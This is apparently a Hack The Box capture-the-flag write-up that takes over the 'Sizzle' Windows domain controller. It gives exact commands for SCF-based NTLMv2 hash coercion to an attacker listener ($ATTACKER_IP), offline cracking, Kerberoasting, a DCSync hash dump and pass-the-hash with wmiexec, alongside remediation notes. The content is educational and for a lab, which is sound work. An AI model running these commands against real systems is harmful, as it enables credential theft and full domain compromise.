Sizzle
Summary
I scanned target $TARGET and found a Windows Server 2016 domain controller (SIZZLE, HTB.LOCAL) exposing SMB file shares, Kerberos, LDAP, IIS, and PowerShell Remoting. A subdirectory inside the 'Department Shares' SMB share accepted unauthenticated file writes; placing a weaponised SCF file there caused domain user amanda's workstation to automatically send her NTLMv2 credentials to a rogue listener. Offline cracking recovered her password, giving me authenticated LDAP and SMB access.
Domain enumeration revealed a second account, mrlky, carrying a Service Principal Name, making it vulnerable to Kerberoasting. I requested mrlky's Kerberos service ticket as amanda, cracked it offline, and recovered the password. ACL inspection of the domain root confirmed mrlky held Active Directory replication rights, so a single DCSync command extracted the Domain Administrator's full NTLM password hash.
That hash was passed directly to WMI execution on the domain controller, delivering unrestricted SYSTEM-level access and both flags without ever cracking the Administrator's password.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for amanda>"
export PASSWORD2="<the-password-you-recovered, for mrlky>"
export HASH="<the-hash-you-recovered, for Administrator>"Attack path: how the box was taken
Exact commands 4
Full TCP port and service-version scan; captures all high-numbered ephemeral RPC ports.
$ nmap -sV -sC -p- --open -T4 $TARGET -oN sizzle-full.txtAnonymous SMB share enumeration to list accessible shares and permissions.
$ smbmap -H $TARGET -u '' -p '' --no-bannerConfirm domain naming context (DC=HTB,DC=LOCAL) via anonymous LDAP.
$ ldapsearch -x -LLL -H ldap://$TARGET -b '' -s base namingContextsList the full directory tree of the share to find writable paths.
$ smbclient "//$TARGET/Department Shares" -N -c 'recurse ON; ls'Exact commands 5
Start rogue SMB/HTTP listener on tun0 to capture NTLMv2 hashes; run in background.
$ sudo responder -I tun0 -dwPCreate the coercion SCF; replace $ATTACKER_IP with your tun0 address. Leading @ places it first alphabetically.
$ printf "[Shell]\nCommand=2\nIconFile=\\\\$ATTACKER_IP\\share\\icon.ico\n[Taskbar]\nCommand=ToggleDesktop\n" > @steal.scfUpload the SCF to the writable path; wait for Responder to log the NTLMv2 response.
$ smbclient "//$TARGET/Department Shares" -N -c 'cd Users\Public; put @steal.scf'Crack the captured NTLMv2 hash; mode 5600 is NetNTLMv2. Recovered: $PASSWORD.
$ hashcat -m 5600 amanda.hash /usr/share/wordlists/rockyou.txt --forceVerify the cracked credential authenticates against SMB.
$ nxc smb $TARGET -d HTB.LOCAL -u amanda -p "$PASSWORD"FixRemove unauthenticated write access from SMB shares and enforce SMB signing domain-wideHigh
Exact commands 3
Dump all user accounts, SPNs, and flags as amanda.
$ ldapsearch -x -LLL -H ldap://$TARGET -D 'amanda@HTB.LOCAL' -w "$PASSWORD" -b 'DC=HTB,DC=LOCAL' '(&(objectCategory=person)(objectClass=user))' sAMAccountName servicePrincipalName userAccountControl memberOfList all SPN-bearing accounts; mrlky http/sizzle is the only non-krbtgt result.
$ impacket-GetUserSPNs HTB.LOCAL/amanda:"$PASSWORD" -dc-ip $TARGETConfirm mrlky holds DS-Replication-Get-Changes ACEs on the domain root: the DCSync pre-requisite.
$ impacket-dacledit -action read -principal mrlky -target-dn 'DC=HTB,DC=LOCAL' -dc-ip $TARGET "HTB.LOCAL/amanda:$PASSWORD"Exact commands 3
Request the Kerberos TGS-REP for mrlky; the hash is written to /tmp/mrlky.tgs.
$ impacket-GetUserSPNs HTB.LOCAL/amanda:"$PASSWORD" -dc-ip $TARGET -request-user mrlky -outputfile /tmp/mrlky.tgsCrack the RC4-encrypted TGS-REP hash (mode 13100 = krb5tgs); recovered: $PASSWORD2.
$ hashcat -m 13100 /tmp/mrlky.tgs /usr/share/wordlists/rockyou.txt --forceConfirm mrlky's cracked credentials authenticate against the domain.
$ nxc ldap $TARGET -d HTB.LOCAL -u mrlky -p "$PASSWORD2"FixReplace the kerberoastable mrlky service account with a Group Managed Service AccountHigh
Exact commands 1
DCSync targeting only the Administrator account via DRSUAPI; returns LM:NTLM hash pair.
$ impacket-secretsdump -just-dc-user Administrator "HTB.LOCAL/mrlky:$PASSWORD2@$TARGET"FixRevoke DCSync privileges from mrlky and restrict AD replication rights to domain controllers onlyCritical
Exact commands 3
Open interactive WMI shell as Domain Administrator using only the NTLM hash: no plaintext password required.
$ impacket-wmiexec -hashes $HASH "HTB.LOCAL/Administrator@$TARGET"Read user flag; actual -> <user.txt>
$ impacket-wmiexec -shell-type powershell -hashes $HASH "HTB.LOCAL/Administrator@$TARGET" 'Get-ChildItem C:\Users\*\Desktop\user.txt -Force -ErrorAction SilentlyContinue | Get-Content'Read root flag; actual -> <root.txt>
$ impacket-wmiexec -shell-type powershell -hashes $HASH "HTB.LOCAL/Administrator@$TARGET" 'Get-ChildItem C:\Users\*\Desktop\root.txt -Force -ErrorAction SilentlyContinue | Get-Content'Attack patterns used
The transferable techniques behind this compromise.
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account, including krbtgt, without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
KerberoastingActive Directory · KerberosT1558.003
What it is
Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.
Why it works
Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.